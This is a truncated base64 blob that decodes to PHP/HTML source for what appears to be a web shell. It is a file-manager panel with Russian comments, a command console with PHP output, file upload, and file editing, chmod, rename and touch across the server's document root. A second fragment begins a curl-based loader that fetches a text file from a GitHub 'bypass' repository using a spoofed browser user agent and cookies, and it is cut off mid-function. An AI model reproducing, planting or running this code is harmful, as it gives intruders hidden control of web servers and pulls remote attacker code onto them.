CAgICAgICAgPHByZT48P3BocCBlY2hvICRwaHBPdXRwdXQ7ID8+PFwvcHJlPlxyXG4gICAgICAgICAgICAgICAgPD9waHAgaWYgKCRwaHBFcnJvcik6ID8+XHJcbiAgICAgICAgICAgICAgICAgICAgPGgzPkVycm9yOjxcL2gzPlxyXG4gICAgICAgICAgICAgICAgICAgIDxwcmU+PD9waHAgZWNobyAkcGhwRXJyb3I7ID8+PFwvcHJlPlxyXG4gICAgICAgICAgICAgICAgPD9waHAgZW5kaWY7ID8+XHJcbiAgICAgICAgICAgIDxcL2Rpdj5cclxuICAgICAgICA8XC9kaXY+XHJcbjxkaXYgY2xhc3M9XCJjcmVhdGUtYWN0aW9uc1wiPlxyXG4gICAgPGZvcm0gbWV0aG9kPVwiUE9TVFwiIGFjdGlvbj1cIlwiIHN0eWxlPVwiZGlzcGxheTogaW5saW5lLWJsb2NrO1wiPlxyXG4gICAgICAgIDxidXR0b24gdHlwZT1cInN1Ym1pdFwiIG5hbWU9XCJhY3Rpb25cIiB2YWx1ZT1cImNyZWF0ZUZpbGVcIiBjbGFzcz1cImNyZWF0ZS1idXR0b25cIj5DcmVhdGUgTmV3IEZpbGU8XC9idXR0b24+XHJcbiAgICA8XC9mb3JtPlxyXG5cclxuICAgIDxmb3JtIG1ldGhvZD1cIlBPU1RcIiBhY3Rpb249XCJcIiBzdHlsZT1cImRpc3BsYXk6IGlubGluZS1ibG9jaztcIj5cclxuICAgICAgICA8YnV0dG9uIHR5cGU9XCJzdWJtaXRcIiBuYW1lPVwiYWN0aW9uXCIgdmFsdWU9XCJjcmVhdGVGb2xkZXJcIiBjbGFzcz1cImNyZWF0ZS1idXR0b25cIj5DcmVhdGUgTmV3IEZvbGRlcjxcL2J1dHRvbj5cclxuICAgIDxcL2Zvcm0+XHJcblxyXG4gICAgPGZvcm0gbWV0aG9kPVwiUE9TVFwiIGVuY3R5cGU9XCJtdWx0aXBhcnRcL2Zvcm0tZGF0YVwiIGFjdGlvbj1cIlwiIHN0eWxlPVwiZGlzcGxheTogaW5saW5lLWJsb2NrO1wiPlxyXG4gICAgICAgIDxidXR0b24gdHlwZT1cInN1Ym1pdFwiIG5hbWU9XCJhY3Rpb25cIiB2YWx1ZT1cInVwbG9hZEZpbGVcIiBjbGFzcz1cImNyZWF0ZS1idXR0b25cIj5VcGxvYWQgRmlsZTxcL2J1dHRvbj5cclxuICAgICAgICA8aW5wdXQgdHlwZT1cImZpbGVcIiBuYW1lPVwiZmlsZVRvVXBsb2FkXCIgXC8+XHJcbiAgICA8XC9mb3JtPlxyXG48XC9kaXY+XHJcblxyXG4gICAgICAgIDwhLS0gXHUwNDFhXHUwNDNlXHUwNDNkXHUwNDQxXHUwNDNlXHUwNDNiXHUwNDRjIGNtZCAtLT5cclxuICAgICAgICA8ZGl2IGNsYXNzPVwiY21kXCI+XHJcbiAgICAgICAgICAgIDxkaXY+Q3VycmVudCBEaXJlY3Rvcnk6IDxzdHJvbmc+PD9waHAgZWNobyBnZW5lcmF0ZUNsaWNrYWJsZVBhdGgoJGRpcmVjdG9yeSk7ID8+PFwvc3Ryb25nPjxcL2Rpdj5cclxuICAgICAgICAgICAgPGRpdj5cclxuICAgICAgICAgICAgICAgIDwhLS0gXHUwNDFhXHUwNDNkXHUwNDNlXHUwNDNmXHUwNDNhXHUwNDMwIFx1MDQzNFx1MDQzYlx1MDQ0ZiBcdTA0M2ZcdTA0MzVcdTA0NDBcdTA0MzVcdTA0NDVcdTA0M2VcdTA0MzRcdTA0MzAgXHUwNDMyIFx1MDQzYVx1MDQzZVx1MDQ0MFx1MDQzNVx1MDQzZFx1MDQ0YyAtLT5cclxuICAgICAgICAgICAgICAgIDw/cGhwIGlmICgkZGlyZWN0b3J5ICE9PSAkX1NFUlZFUlsnRE9DVU1FTlRfUk9PVCddKTogPz5cclxuICAgICAgICAgICAgICAgICAgICA8YSBocmVmPVwiP2Rpcj08P3BocCBlY2hvIHNhZmVQYXRoKCRfU0VSVkVSWydET0NVTUVOVF9ST09UJ10pOyA/PlwiIGNsYXNzPVwiY21kLWJ1dHRvblwiPkdvIHRvIFJvb3Q8XC9hPlxyXG4gICAgICAgICAgICAgICAgPD9waHAgZWxzZTogPz5cclxuICAgICAgICAgICAgICAgICAgICA8c3Bhbj5Zb3UgYXJlIGF0IHRoZSByb290IGRpcmVjdG9yeS48XC9zcGFuPlxyXG4gICAgICAgICAgICAgICAgPD9waHAgZW5kaWY7ID8+XHJcbiAgICAgICAgICAgIDxcL2Rpdj5cclxuICAgICAgICA8XC9kaXY+XHJcblxyXG4gICAgICAgIDwhLS0gXHUwNDIxXHUwNDNmXHUwNDM4XHUwNDQxXHUwNDNlXHUwNDNhIFx1MDQ0NFx1MDQzMFx1MDQzOVx1MDQzYlx1MDQzZVx1MDQzMiAtLT5cclxuICAgICAgICA8dGFibGUgY2xhc3M9XCJmaWxlLXRhYmxlXCI+XHJcbiAgICA8dHI+XHJcbiAgICAgICAgPHRoPkZpbGVuYW1lPFwvdGg+XHJcbiAgICAgICAgPHRoPkFjdGlvbjxcL3RoPlxyXG4gICAgPFwvdHI+XHJcbiAgICA8P3BocCBmb3JlYWNoICgkZmlsZXMgYXMgJGZpbGUpOiA/PlxyXG4gICAgICAgIDw/cGhwIGlmICgkZmlsZSAhPT0gJy4nICYmICRmaWxlICE9PSAnLi4nKTogPz5cclxuICAgICAgICAgICAgPHRyPlxyXG4gICAgICAgICAgICAgICAgPHRkPlxyXG4gICAgICAgICAgICAgICAgICAgIDw/cGhwXHJcbiAgICAgICAgICAgICAgICAgICAgJGZpbGVQYXRoID0gJGRpcmVjdG9yeSAuICdcLycgLiAkZmlsZTtcclxuICAgICAgICAgICAgICAgICAgICBpZiAoaXNfZGlyKCRmaWxlUGF0aCkpIHtcclxuICAgICAgICAgICAgICAgICAgICAgICAgXC9cLyBcdTA0MTRcdTA0M2JcdTA0NGYgXHUwNDNmXHUwNDMwXHUwNDNmXHUwNDNlXHUwNDNhIFx1MDQzNFx1MDQzZVx1MDQzMVx1MDQzMFx1MDQzMlx1MDQzYlx1MDQ0Zlx1MDQzNVx1MDQzYyBcdTA0M2FcdTA0MzJcdTA0MzBcdTA0MzRcdTA0NDBcdTA0MzBcdTA0NDJcdTA0M2RcdTA0NGJcdTA0MzUgXHUwNDQxXHUwNDNhXHUwNDNlXHUwNDMxXHUwNDNhXHUwNDM4IFx1MDQzOCBcdTA0M2VcdTA0NDFcdTA0NDJcdTA0MzBcdTA0MzJcdTA0M2JcdTA0NGZcdTA0MzVcdTA0M2MgXHUwNDQxXHUwNDQxXHUwNDRiXHUwNDNiXHUwNDNhXHUwNDQzIFx1MDQzYVx1MDQzYlx1MDQzOFx1MDQzYVx1MDQzMFx1MDQzMVx1MDQzNVx1MDQzYlx1MDQ0Y1x1MDQzZFx1MDQzZVx1MDQzOVxyXG4gICAgICAgICAgICAgICAgICAgICAgICBlY2hvICc8aSBjbGFzcz1cImZhcyBmYS1mb2xkZXJcIj48XC9pPic7XHJcbiAgICAgICAgICAgICAgICAgICAgICAgIGVjaG8gJzxhIGhyZWY9XCI/ZGlyPScgLiBzYWZlUGF0aCgkZmlsZVBhdGgpIC4gJ1wiPlsnIC4gc2FmZVBhdGgoJGZpbGUpIC4gJ108XC9hPic7XHJcbiAgICAgICAgICAgICAgICAgICAgfSBlbHNlIHtcclxuICAgICAgICAgICAgICAgICAgICAgICAgZWNobyAnPGkgY2xhc3M9XCJmYXMgZmEtZmlsZVwiPjxcL2k+JztcclxuICAgICAgICAgICAgICAgICAgICAgICAgZWNobyAnPGEgaHJlZj1cImphdmFzY3JpcHQ6dm9pZCgwKTtcIiBjbGFzcz1cImZpbGUtYWN0aW9uXCIgZGF0YS1maWxlPVwiJyAuIHNhZmVQYXRoKCRmaWxlKSAuICdcIj4nIC4gc2FmZVBhdGgoJGZpbGUpIC4gJzxcL2E+JztcclxuICAgICAgICAgICAgICAgICAgICB9XHJcbiAgICAgICAgICAgICAgICAgICAgPz5cclxuICAgICAgICAgICAgICAgIDxcL3RkPlxyXG4gICAgICAgICAgICAgICAgPHRkPlxyXG4gICAgICAgICAgICAgICAgICAgIDwhLS0gXHUwNDFmXHUwNDQwXHUwNDNlXHUwNDMyXHUwNDM1XHUwNDQwXHUwNDNhXHUwNDMwOiBcdTA0MzVcdTA0NDFcdTA0M2JcdTA0MzggXHUwNDQ0XHUwNDMwXHUwNDM5XHUwNDNiLCBcdTA0M2ZcdTA0M2VcdTA0M2FcdTA0MzBcdTA0MzdcdTA0NGJcdTA0MzJcdTA0MzBcdTA0MzVcdTA0M2MgXHUwNDMyXHUwNDQxXHUwNDM1IFx1MDQzYVx1MDQzZFx1MDQzZVx1MDQzZlx1MDQzYVx1MDQzOCwgXHUwNDM1XHUwNDQxXHUwNDNiXHUwNDM4IFx1MDQzZlx1MDQzMFx1MDQzZlx1MDQzYVx1MDQzMCAtIFx1MDQ0Mlx1MDQzZVx1MDQzYlx1MDQ0Y1x1MDQzYVx1MDQzZSBjaG1vZCBcdTA0MzggcmVuYW1lIC0tPlxyXG4gICAgICAgICAgICAgICAgICAgIDw/cGhwIGlmIChpc19maWxlKCRmaWxlUGF0aCkpOiA/PlxyXG4gICAgICAgICAgICAgICAgICAgICAgICA8YnV0dG9uIGNsYXNzPVwiZWRpdFwiIGRhdGEtZmlsZT1cIjw/cGhwIGVjaG8gc2FmZVBhdGgoJGZpbGUpOyA/PlwiPkVkaXQ8XC9idXR0b24+XHJcbiAgICAgICAgICAgICAgICAgICAgICAgIDxidXR0b24gY2xhc3M9XCJjaG1vZFwiIGRhdGEtZmlsZT1cIjw/cGhwIGVjaG8gc2FmZVBhdGgoJGZpbGUpOyA/PlwiPkNobW9kPFwvYnV0dG9uPlxyXG4gICAgICAgICAgICAgICAgICAgICAgICA8YnV0dG9uIGNsYXNzPVwicmVuYW1lXCIgZGF0YS1maWxlPVwiPD9waHAgZWNobyBzYWZlUGF0aCgkZmlsZSk7ID8+XCI+UmVuYW1lPFwvYnV0dG9uPlxyXG4gICAgICAgICAgICAgICAgICAgICAgICA8YnV0dG9uIGNsYXNzPVwidG91Y2hcIiBkYXRhLWZpbGU9XCI8P3BocCBlY2hvIHNhZmVQYXRoKCRmaWxlKTsgPz5cIj5Ub3VjaDxcL2J1dHRvbj5cclxuICAgICAgICAgICAgICAgICAgICA8P3BocCBlbHNlaWYgKGlzX2RpcigkZmlsZVBhdGgpKTogPz5cclxuICAgICAgICAgICAgICAgICAgICAgICAgPGJ1dHRvbiBjbGFzcz1cImNobW9kXCIgZGF0YS1maWxlPVwiPD9waHAgZWNobyBzYWZlUGF0aCgkZmlsZSk7ID8+XCI+Q2htb2Q8XC9idXR0b24+XHJcbiAgICAgICAgICAgICAgICAgICAgICAgIDxidXR0b24gY2xhc3M9XCJyZW5hbWVcIiBkYXRhLWZpbGU9XCI8P3BocCBlY2hvIHNhZmVQYXRoKCRmaWxlKTsgPz5cIj5SZW5hbWU8XC9idXR0b24+XHJcbiAgICAgICAgICAgICAgICAgICAgPD9waHAgZW5kaWY7ID8+XHJcbiAgICAgICAgICAgICAgICA8XC90ZD5cclxuICAgICAgICAgICAgPFwvdHI+XHJcbiAgICAgICAgPD9waHAgZW5kaWY7ID8+XHJcbiAgICA8P3BocCBlbmRmb3JlYWNoOyA/PlxyXG48XC90YWJsZT5cclxuPCEtLSBcdTA0MjRcdTA0M2VcdTA0NDBcdTA0M2NcdTA0MzAgXHUwNDM0XHUwNDNiXHUwNDRmIFx1MDQ0MVx1MDQzZVx1MDQzN1x1MDQzNFx1MDQzMFx1MDQzZFx1MDQzOFx1MDQ0ZiBcdTA0M2RcdTA0M2VcdTA0MzJcdTA0M2VcdTA0MzNcdTA0M2UgXHUwNDQ0XHUwNDMwXHUwNDM5XHUwNDNiXHUwNDMwIC0tPlxyXG48P3BocCBpZiAoJGFjdGlvbiA9PT0gJ2NyZWF0ZUZpbGUnKTogPz5cclxuICAgIDxmb3JtIG1ldGhvZD1cIlBPU1RcIj5cclxuICAgICAgICA8bGFiZWwgZm9yPVwibmV3RmlsZU5hbWVcIj5FbnRlciBmaWxlIG5hbWU6PFwvbGFiZWw+XHJcbiAgICAgICAgPGlucHV0IHR5cGU9XCJ0ZXh0XCIgbmFtZT1cIm5ld0ZpbGVOYW1lXCIgcmVxdWlyZWQ+XHJcbiAgICAgICAgPGJ1dHRvbiB0eXBlPVwic3VibWl0XCIgbmFtZT1cImFjdGlvblwiIHZhbHVlPVwiY3JlYXRlRmlsZVwiPkNyZWF0ZSBGaWxlPFwvYnV0dG9uPlxyXG4gICAgPFwvZm9ybT5cclxuPD9waHAgZW5kaWY7ID8+XHJcblxyXG48IS0tIFx1MDQyNFx1MDQzZVx1MDQ0MFx1MDQzY1x1MDQzMCBcdTA0MzRcdTA0M2JcdTA0NGYgXHUwNDQxXHUwNDNlXHUwNDM3XHUwNDM0XHUwNDMwXHUwNDNkXHUwNDM4XHUwNDRmIFx1MDQzZFx1MDQzZVx1MDQzMlx1MDQzZVx1MDQzOSBcdTA0M2ZcdTA0MzBcdTA0M2ZcdTA0M2FcdTA0MzggLS0+XHJcbjw/cGhwIGlmICgkYWN0aW9uID09PSAnY3JlYXRlRm9sZGVyJyk6ID8+XHJcbiAgICA8Zm9ybSBtZXRob2Q9XCJQT1NUXCI+XHJcbiAgICAgICAgPGxhYmVsIGZvcj1cIm5ld0ZvbGRlck5hbWVcIj5FbnRlciBmb2xkZXIgbmFtZTo8XC9sYWJlbD5cclxuICAgICAgICA8aW5wdXQgdHlwZT1cInRleHRcIiBuYW1lPVwibmV3Rm9sZGVyTmFtZVwiIHJlcXVpcmVkPlxyXG4gICAgICAgIDxidXR0b24gdHlwZT1cInN1Ym1pdFwiIG5hbWU9XCJhY3Rpb25cIiB2YWx1ZT1cImNyZWF0ZUZvbGRlclwiPkNyZWF0ZSBGb2xkZXI8XC9idXR0b24+XHJcbiAgICA8XC9mb3JtPlxyXG48P3BocCBlbmRpZjsgPz5cclxuXHJcblxyXG4gICAgPFwvZGl2PlxyXG5cclxuICAgIDwhLS0gXHUwNDFjXHUwNDNlXHUwNDM0XHUwNDMwXHUwNDNiXHUwNDRjXHUwNDNkXHUwNDNlXHUwNDM1IFx1MDQzZVx1MDQzYVx1MDQzZFx1MDQzZSBcdTA0MzRcdTA0M2JcdTA0NGYgXHUwNDQwXHUwNDM1XHUwNDM0XHUwNDMwXHUwNDNhXHUwNDQyXHUwNDM4XHUwNDQwXHUwNDNlXHUwNDMyXHUwNDMwXHUwNDNkXHUwNDM4XHUwNDRmIC0tPlxyXG4gICAgPGRpdiBpZD1cImVkaXRNb2RhbFwiIGNsYXNzPVwibW9kYWxcIj5cclxuICAgICAgICA8ZGl2IGNsYXNzPVwibW9kYWwtY29udGVudFwiPlxyXG4gICAgICAgICAgICA8c3BhbiBjbGFzcz1cImNsb3NlLW1vZGFsXCI+JnRpbWVzOzxcL3NwYW4+XHJcbiAgICAgICAgICAgIDxoMj5FZGl0IEZpbGU8XC9oMj5cclxuICAgICAgICAgICAgPGZvcm0gaWQ9XCJlZGl0Rm9ybVwiPlxyXG4gICAgICAgICAgICAgICAgPHRleHRhcmVhIGlkPVwiZWRpdENvbnRlbnRcIiByb3dzPVwiMTBcIiBwbGFjZWhvbGRlcj1cIkVkaXQgZmlsZSBjb250ZW50Li4uXCI+PFwvdGV4dGFyZWE+PGJyPlxyXG4gICAgICAgICAgICAgICAgPGJ1dHRvbiB0eXBlPVwic3VibWl0XCI+U2F2ZTxcL2J1dHRvbj5cclxuICAgICAgICAgICAgPFwvZm9ybT5cclxuICAgICAgICA8XC9kaXY+XHJcbiAgICA8XC9kaXY+XHJcblxyXG4gICAgPCEtLSBcdTA0MWNcdTA0M2VcdTA0MzRcdTA0MzBcdTA0M2JcdTA0NGNcdTA0M2RcdTA0M2VcdTA0MzUgXHUwNDNlXHUwNDNhXHUwNDNkXHUwNDNlIFx1MDQzNFx1MDQzYlx1MDQ0ZiBDaG1vZCAtLT5cclxuICAgIDxkaXYgaWQ9XCJjaG1vZE1vZGFsXCIgY2xhc3M9XCJtb2RhbFwiPlxyXG4gICAgICAgIDxkaXYgY2xhc3M9XCJtb2RhbC1jb250ZW50XCI+XHJcbiAgICAgICAgICAgIDxzcGFuIGNsYXNzPVwiY2xvc2UtbW9kYWxcIj4mdGltZXM7PFwvc3Bhbj5cclxuICAgICAgICAgICAgPGgyPkNoYW5nZSBGaWxlIFBlcm1pc3Npb25zPFwvaDI+XHJcbiAgICAgICAgICAgIDxmb3JtIGlkPVwiY2htb2RGb3JtXCI+XHJcbiAgICAgICAgICAgICAgICA8bGFiZWwgZm9yPVwiY2htb2RWYWx1ZVwiPk5ldyBQZXJtaXNzaW9uczo8XC9sYWJlbD5cclxuICAgICAgICAgICAgICAgIDxpbnB1dCB0eXBlPVwidGV4dFwiIGlkPVwiY2htb2RWYWx1ZVwiIHBsYWNlaG9sZGVyPVwiZS5nLiwgNzU1XCI+PGJyPlxyXG4gICAgICAgICAgICAgICAgPGJ1dHRvbiB0eXBlPVwic3VibWl0XCI+U2F2ZTxcL2J1dHRvbj5cclxuICAgICAgICAgICAgPFwvZm9ybT5cclxuICAgICAgICA8XC9kaXY+XHJcbiAgICA8XC9kaXY+XHJcblxyXG4gICAgPCEtLSBcdTA0MWNcdTA0M2VcdTA0MzRcdTA0MzBcdTA0M2JcdTA0NGNcdTA0M2RcdTA0M2VcdTA0MzUgXHUwNDNlXHUwNDNhXHUwNDNkXHUwNDNlIFx1MDQzNFx1MDQzYlx1MDQ0ZiBSZW5hbWUgLS0+XHJcbiAgICA8ZGl2IGlkPVwicmVuYW1lTW9kYWxcIiBjbGFzcz1cIm1vZGFsXCI+XHJcbiAgICAgICAgPGRpdiBjbGFzcz1cIm1vZGFsLWNvbnRlbnRcIj5cclxuICAgICAgICAgICAgPHNwYW4gY2xhc3M9XCJjbG9zZS1tb2RhbFwiPiZ0aW1lczs8XC9zcGFuPlxyXG4gICAgICAgICAgICA8aDI+UmVuYW1lIEZpbGU8XC9oMj5cclxuICAgICAgICAgICAgPGZvcm0gaWQ9XCJyZW5hbWVGb3JtXCI+XHJcbiAgICAgICAgICAgICAgICA8bGFiZWwgZm9yPVwibmV3TmFtZVwiPk5ldyBOYW1lOjxcL2xhYmVsPlxyXG4gICAgICAgICAgICAgICAgPGlucHV0IHR5cGU9XCJ0ZXh0XCIgaWQ9XCJuZXdOYW1lXCIgcGxhY2Vob2xkZXI9XCJOZXcgZmlsZSBuYW1lXCI+PGJyPlxyXG4gICAgICAgICAgICAgICAgPGJ1dHRvbiB0eXBlPVwic3VibWl0XCI+UmVuYW1lPFwvYnV0dG9uPlxyXG4gICAgICAgICAgICA8XC9mb3JtPlxyXG4gICAgICAgIDxcL2Rpdj5cclxuICAgIDxcL2Rpdj5cclxuXHJcbiAgICA8IS0tIFx1MDQxY1x1MDQzZVx1MDQzNFx1MDQzMFx1MDQzYlx1MDQ0Y1x1MDQzZFx1MDQzZVx1MDQzNSBcdTA0M2VcdTA0M2FcdTA0M2RcdTA0M2UgXHUwNDM0XHUwNDNiXHUwNDRmIFRvdWNoIC0tPlxyXG4gICAgPGRpdiBpZD1cInRvdWNoTW9kYWxcIiBjbGFzcz1cIm1vZGFsXCI+XHJcbiAgICAgICAgPGRpdiBjbGFzcz1cIm1vZGFsLWNvbnRlbnRcIj5cclxuICAgICAgICAgICAgPHNwYW4gY2xhc3M9XCJjbG9zZS1tb2RhbFwiPiZ0aW1lczs8XC9zcGFuPlxyXG4gICAgICAgICAgICA8aDI+VG91Y2ggRmlsZTxcL2gyPlxyXG4gICAgICAgICAgICA8Zm9ybSBpZD1cInRvdWNoRm9ybVwiPlxyXG4gICAgICAgICAgICAgICAgPGJ1dHRvbiB0eXBlPVwic3VibWl0XCI+VXBkYXRlIFRpbWU8XC9idXR0b24+XHJcbiAgICAgICAgICAgIDxcL2Zvcm0+XHJcbiAgICAgICAgPFwvZGl2PlxyXG4gICAgPFwvZGl2PlxyXG5cclxuICAgIDxzY3JpcHQ+XHJcbiAgICAgICAgZG9jdW1lbnQucXVlcnlTZWxlY3RvckFsbCgnLmVkaXQnKS5mb3JFYWNoKGJ1dHRvbiA9PiB7XHJcbiAgICAgICAgICAgIGJ1dHRvbi5hZGRFdmVudExpc3RlbmVyKCdjbGljaycsIChldmVudCkgPT4ge1xyXG4gICAgICAgICAgICAgICAgbGV0IGZpbGUgPSBldmVudC50YXJnZXQuZ2V0QXR0cmlidXRlKCdkYXRhLWZpbGUnKTtcclxuICAgICAgICAgICAgICAgIGZldGNoKGA/ZmlsZT0ke2ZpbGV9YClcclxuICAgICAgICAgICAgICAgICAgICAudGhlbihyZXNwb25zZSA9PiByZXNwb25zZS50ZXh0KCkpXHJcbiAgICAgICAgICAgICAgICAgICAgLnRoZW4oZGF0YSA9PiB7XHJcbiAgICAgICAgICAgICAgICAgICAgICAgIGRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCdlZGl0Q29udGVudCcpLnZhbHVlID0gZGF0YTtcclxuICAgICAgICAgICAgICAgICAgICAgICAgZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoJ2VkaXRNb2RhbCcpLnN0eWxlLmRpc3BsYXkgPSAnYmxvY2snO1xyXG4gICAgICAgICAgICAgICAgICAgIH0pO1xyXG4gICAgICAgICAgICB9KTtcclxuICAgICAgICB9KTtcclxuXHJcbiAgICAgICAgZG9jdW1lbnQucXVlcnlTZWxlY3RvckFsbCgnLmNobW9kJykuZm9yRWFjaChidXR0b24gPT4ge1xyXG4gICAgICAgICAgICBidXR0b24uYWRkRXZlbnRMaXN0ZW5lcignY2xpY2snLCAoZXZlbnQpID0+IHtcclxuICAgICAgICAgICAgICAgIGxldCBmaWxlID0gZXZlbnQudGFyZ2V0LmdldEF0dHJpYnV0ZSgnZGF0YS1maWxlJyk7XHJcbiAgICAgICAgICAgICAgICBkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgnY2htb2RNb2RhbCcpLnN0eWxlLmRpc3BsYXkgPSAnYmxvY2snO1xyXG4gICAgICAgICAgICB9KTtcclxuICAgICAgICB9KTtcclxuXHJcbiAgICAgICAgZG9jdW1lbnQucXVlcnlTZWxlY3RvckFsbCgnLnJlbmFtZScpLmZvckVhY2goYnV0dG9uID0+IHtcclxuICAgICAgICAgICAgYnV0dG9uLmFkZEV2ZW50TGlzdGVuZXIoJ2NsaWNrJywgKGV2ZW50KSA9PiB7XHJcbiAgICAgICAgICAgICAgICBsZXQgZmlsZSA9IGV2ZW50LnRhcmdldC5nZXRBdHRyaWJ1dGUoJ2RhdGEtZmlsZScpO1xyXG4gICAgICAgICAgICAgICAgZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoJ3JlbmFtZU1vZGFsJykuc3R5bGUuZGlzcGxheSA9ICdibG9jayc7XHJcbiAgICAgICAgICAgIH0pO1xyXG4gICAgICAgIH0pO1xyXG5cclxuICAgICAgICBkb2N1bWVudC5xdWVyeVNlbGVjdG9yQWxsKCcudG91Y2gnKS5mb3JFYWNoKGJ1dHRvbiA9PiB7XHJcbiAgICAgICAgICAgIGJ1dHRvbi5hZGRFdmVudExpc3RlbmVyKCdjbGljaycsIChldmVudCkgPT4ge1xyXG4gICAgICAgICAgICAgICAgbGV0IGZpbGUgPSBldmVudC50YXJnZXQuZ2V0QXR0cmlidXRlKCdkYXRhLWZpbGUnKTtcclxuICAgICAgICAgICAgICAgIGRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCd0b3VjaE1vZGFsJykuc3R5bGUuZGlzcGxheSA9ICdibG9jayc7XHJcbiAgICAgICAgICAgIH0pO1xyXG4gICAgICAgIH0pO1xyXG5cclxuICAgICAgICBcL1wvIFx1MDQxN1x1MDQzMFx1MDQzYVx1MDQ0MFx1MDQ0Ylx1MDQ0Mlx1MDQzOFx1MDQzNSBcdTA0M2NcdTA0M2VcdTA0MzRcdTA0MzBcdTA0M2JcdTA0NGNcdTA0M2RcdTA0NGJcdTA0NDUgXHUwNDNlXHUwNDNhXHUwNDNlXHUwNDNkXHJcbiAgICAgICAgZG9jdW1lbnQucXVlcnlTZWxlY3RvckFsbCgnLmNsb3NlLW1vZGFsJykuZm9yRWFjaChzcGFuID0+IHtcclxuICAgICAgICAgICAgc3Bhbi5hZGRFdmVudExpc3RlbmVyKCdjbGljaycsICgpID0+IHtcclxuICAgICAgICAgICAgICAgIGRvY3VtZW50LnF1ZXJ5U2VsZWN0b3JBbGwoJy5tb2RhbCcpLmZvckVhY2gobW9kYWwgPT4ge1xyXG4gICAgICAgICAgICAgICAgICAgIG1vZGFsLnN0eWxlLmRpc3BsYXkgPSAnbm9uZSc7XHJcbiAgICAgICAgICAgICAgICB9KTtcclxuICAgICAgICAgICAgfSk7XHJcbiAgICAgICAgfSk7XHJcblxyXG4gICAgICAgIFwvXC8gXHUwNDFlXHUwNDMxXHUwNDQwXHUwNDMwXHUwNDMxXHUwNDNlXHUwNDQyXHUwNDQ3XHUwNDM4XHUwNDNhXHUwNDM4IFx1MDQzNFx1MDQzYlx1MDQ0ZiBcdTA0NDFcdTA0M2VcdTA0NDVcdTA0NDBcdTA0MzBcdTA0M2RcdTA0MzVcdTA0M2RcdTA0MzhcdTA0NGYgXHUwNDM4XHUwNDM3XHUwNDNjXHUwNDM1XHUwNDNkXHUwNDM1XHUwNDNkXHUwNDM4XHUwNDM5XHJcbiAgICAgICAgZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoJ2VkaXRGb3JtJykuYWRkRXZlbnRMaXN0ZW5lcignc3VibWl0JywgKGUpID0+IHtcclxuICAgICAgICAgICAgZS5wcmV2ZW50RGVmYXVsdCgpO1xyXG4gICAgICAgICAgICBsZXQgY29udGVudCA9IGRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCdlZGl0Q29udGVudCcpLnZhbHVlO1xyXG4gICAgICAgICAgICBsZXQgZmlsZSA9IGRvY3VtZW50LnF1ZXJ5U2VsZWN0b3IoJy5lZGl0JykuZ2V0QXR0cmlidXRlKCdkYXRhLWZpbGUnKTtcclxuICAgICAgICAgICAgXHJcbiAgICAgICAgICAgIGZldGNoKCdlZGl0LnBocCcsIHtcclxuICAgICAgICAgICAgICAgIG1ldGhvZDogJ1BPU1QnLFxyXG4gICAgICAgICAgICAgICAgYm9keTogSlNPTi5zdHJpbmdpZnkoeyBmaWxlLCBjb250ZW50IH0pLFxyXG4gICAgICAgICAgICB9KVxyXG4gICAgICAgICAgICAudGhlbihyZXNwb25zZSA9PiByZXNwb25zZS5qc29uKCkpXHJcbiAgICAgICAgICAgIC50aGVuKGRhdGEgPT4ge1xyXG4gICAgICAgICAgICAgICAgaWYgKGRhdGEuc3VjY2Vzcykge1xyXG4gICAgICAgICAgICAgICAgICAgIGFsZXJ0KCdGaWxlIHVwZGF0ZWQnKTtcclxuICAgICAgICAgICAgICAgIH1cclxuICAgICAgICAgICAgfSk7XHJcbiAgICAgICAgfSk7XHJcbiAgICA8XC9zY3JpcHQ+XHJcblxyXG48XC9ib2R5PlxyXG48XC9odG1sPiIsIjw/cGhwXHJcbiR1cmwgPSAnaHR0cHM6XC9cL3Jhdy5naXRodWJ1c2VyY29udGVudC5jb21cL2FsaXNha3Vqb3UxNjhcL2J5cGFzc1wvcmVmc1wvaGVhZHNcL21haW5cL3dvay50eHQnO1xyXG5cclxuZnVuY3Rpb24gZ2V0Q29udGVudFdpdGhDdXJsKCR1cmwpIHtcclxuICAgICRjaCA9IGN1cmxfaW5pdCgpO1xyXG4gICAgY3VybF9zZXRvcHQoJGNoLCBDVVJMT1BUX1VSTCwgJHVybCk7XHJcbiAgICBjdXJsX3NldG9wdCgkY2gsIENVUkxPUFRfUkVUVVJOVFJBTlNGRVIsIHRydWUpO1xyXG4gICAgY3VybF9zZXRvcHQoJGNoLCBDVVJMT1BUX0ZPTExPV0xPQ0FUSU9OLCB0cnVlKTtcclxuICAgIGN1cmxfc2V0b3B0KCRjaCwgQ1VSTE9QVF9VU0VSQUdFTlQsICdNb3ppbGxhXC81LjAgKFdpbmRvd3MgTlQgMTAuMDsgV2luNjQ7IHg2NCkgQXBwbGVXZWJLaXRcLzUzNy4zNiAoS0hUTUwsIGxpa2UgR2Vja28pIENocm9tZVwvOTEuMC40NDcyLjEyNCBTYWZhcmlcLzUzNy4zNicpO1xyXG4gICAgY3VybF9zZXRvcHQoJGNoLCBDVVJMT1BUX0hUVFBIRUFERVIsIFtcclxuICAgICAgICAnQWNjZXB0OiB0ZXh0XC9odG1sLGFwcGxpY2F0aW9uXC94aHRtbCt4bWwsYXBwbGljYXRpb25cL3htbDtxPTAuOSxpbWFnZVwvd2VicCwqXC8qO3E9MC44JyxcclxuICAgICAgICAnQWNjZXB0LUxhbmd1YWdlOiBlbi1VUyxlbjtxPTAuNScsXHJcbiAgICAgICAgJ1JlZmVyZXI6IGh0dHBzOlwvXC9leGFtcGxlLmNvbVwvJyxcclxuICAgICAgICAnQ29ubmVjdGlvbjoga2VlcC1hbGl2ZSdcclxuICAgIF0pO1xyXG4gICAgY3VybF9zZXRvcHQoJGNoLCBDVVJMT1BUX0NPT0tJRUZJTEUsICdjb29raWUudHh0Jyk7XHJcbiAgICBjdXJsX3NldG9wdCgkY2gsIENVUkxPUFRfQ09PS0lFSkFSLCAnY29va2llLnR4dCcpO1xyXG4gICAgY3VybF9zZXRvcHQoJGNoLCBDVVJMT1BUX0hUVFBfVkVSU0lPTiwgQ1VSTF9IVFRQX1ZFUlNJT05fMl8wKTtcclxuICAgICRyZXN1bHQgPSBjdXJsX2V4ZWMoJGNoKTtcclxuICAgIGlmIChjdXJsX2Vycm5vKCRjaCkpIHt